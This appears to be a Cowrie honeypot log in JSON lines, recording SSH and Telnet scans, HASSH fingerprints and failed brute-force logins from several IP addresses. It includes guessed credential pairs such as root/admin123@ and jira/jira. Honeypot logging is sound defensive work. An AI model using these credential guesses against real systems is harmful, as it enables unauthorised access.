{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:50.448542Z","src_ip":"103.27.238.114","session":"c70133134cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"groovy","message":"login attempt [root/groovy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:51.235251Z","src_ip":"103.27.238.114","session":"c70133134cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:52.500431Z","src_ip":"103.27.238.114","session":"c70133134cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.47","src_port":59072,"dst_ip":"10.17.0.5","dst_port":22,"session":"31500666f1a1","protocol":"ssh","message":"New connection: 198.235.24.47:59072 (10.17.0.5:22) [session: 31500666f1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:18.161085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:19.195100Z","src_ip":"198.235.24.47","session":"31500666f1a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21288,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc894df831c","protocol":"ssh","message":"New connection: 194.59.206.2:21288 (10.17.0.5:22) [session: 5cc894df831c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:19.783413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:19.786558Z","src_ip":"194.59.206.2","session":"5cc894df831c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:19.876513Z","src_ip":"194.59.206.2","session":"5cc894df831c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:19.971899Z","src_ip":"194.59.206.2","session":"5cc894df831c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:20.247520Z","src_ip":"198.235.24.47","session":"31500666f1a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:27.655671Z","src_ip":"198.235.24.47","session":"31500666f1a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":41350,"dst_ip":"10.17.0.5","dst_port":22,"session":"53f4922d4d4d","protocol":"ssh","message":"New connection: 27.71.230.31:41350 (10.17.0.5:22) [session: 53f4922d4d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:29.970544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:29.982886Z","src_ip":"27.71.230.31","session":"53f4922d4d4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47576,"dst_ip":"159.203.135.109","dst_port":23,"session":"d457ce0cd330","protocol":"telnet","message":"New connection: 128.199.8.54:47576 (159.203.135.109:23) [session: d457ce0cd330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:30.643763Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:31.059736Z","src_ip":"27.71.230.31","session":"53f4922d4d4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123@","message":"login attempt [root/admin123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:32.614274Z","src_ip":"27.71.230.31","session":"53f4922d4d4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:34.431631Z","src_ip":"27.71.230.31","session":"53f4922d4d4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":57674,"dst_ip":"10.17.0.5","dst_port":22,"session":"b06edc86f577","protocol":"ssh","message":"New connection: 72.17.34.38:57674 (10.17.0.5:22) [session: b06edc86f577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:45.232108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:45.236213Z","src_ip":"72.17.34.38","session":"b06edc86f577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:45.270843Z","src_ip":"72.17.34.38","session":"b06edc86f577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nico","password":"Nico123!","message":"login attempt [nico/Nico123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:45.443292Z","src_ip":"72.17.34.38","session":"b06edc86f577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:46.479760Z","src_ip":"72.17.34.38","session":"b06edc86f577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60332,"dst_ip":"159.203.135.109","dst_port":23,"session":"07966f71faf1","protocol":"telnet","message":"New connection: 128.199.8.54:60332 (159.203.135.109:23) [session: 07966f71faf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:13:50.362421Z"}
{"eventid":"cowrie.session.closed","duration":47.38448476791382,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:14:18.028105Z","src_ip":"128.199.8.54","session":"d457ce0cd330","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.52174949645996,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:14:32.884034Z","src_ip":"128.199.8.54","session":"07966f71faf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":41464,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fd362e5444e","protocol":"ssh","message":"New connection: 27.71.230.31:41464 (159.203.135.109:22) [session: 2fd362e5444e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:14:53.603984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:14:53.664275Z","src_ip":"27.71.230.31","session":"2fd362e5444e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:14:55.545265Z","src_ip":"27.71.230.31","session":"2fd362e5444e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123@","message":"login attempt [root/admin123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:15:00.623213Z","src_ip":"27.71.230.31","session":"2fd362e5444e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:15:02.660808Z","src_ip":"27.71.230.31","session":"2fd362e5444e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":38940,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d50491affa2","protocol":"ssh","message":"New connection: 72.17.34.38:38940 (10.17.0.5:22) [session: 1d50491affa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:15:37.761982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:15:37.766411Z","src_ip":"72.17.34.38","session":"1d50491affa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:15:37.807429Z","src_ip":"72.17.34.38","session":"1d50491affa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"jira","message":"login attempt [jira/jira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:15:37.981373Z","src_ip":"72.17.34.38","session":"1d50491affa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:15:39.047349Z","src_ip":"72.17.34.38","session":"1d50491affa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38574,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6599fd85b18","protocol":"telnet","message":"New connection: 128.199.8.54:38574 (159.203.135.109:23) [session: e6599fd85b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:16:21.937525Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":52524,"dst_ip":"159.203.135.109","dst_port":22,"session":"596c68f382df","protocol":"ssh","message":"New connection: 109.237.96.109:52524 (159.203.135.109:22) [session: 596c68f382df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:16:28.119976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:16:28.124228Z","src_ip":"109.237.96.109","session":"596c68f382df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:16:28.217175Z","src_ip":"109.237.96.109","session":"596c68f382df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhvfutlljy","message":"login attempt [root/fhvfutlljy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:16:28.501326Z","src_ip":"109.237.96.109","session":"596c68f382df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:16:29.596516Z","src_ip":"109.237.96.109","session":"596c68f382df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40964,"dst_ip":"159.203.135.109","dst_port":23,"session":"87b8614a5a23","protocol":"telnet","message":"New connection: 128.199.8.54:40964 (159.203.135.109:23) [session: 87b8614a5a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:16:32.183229Z"}
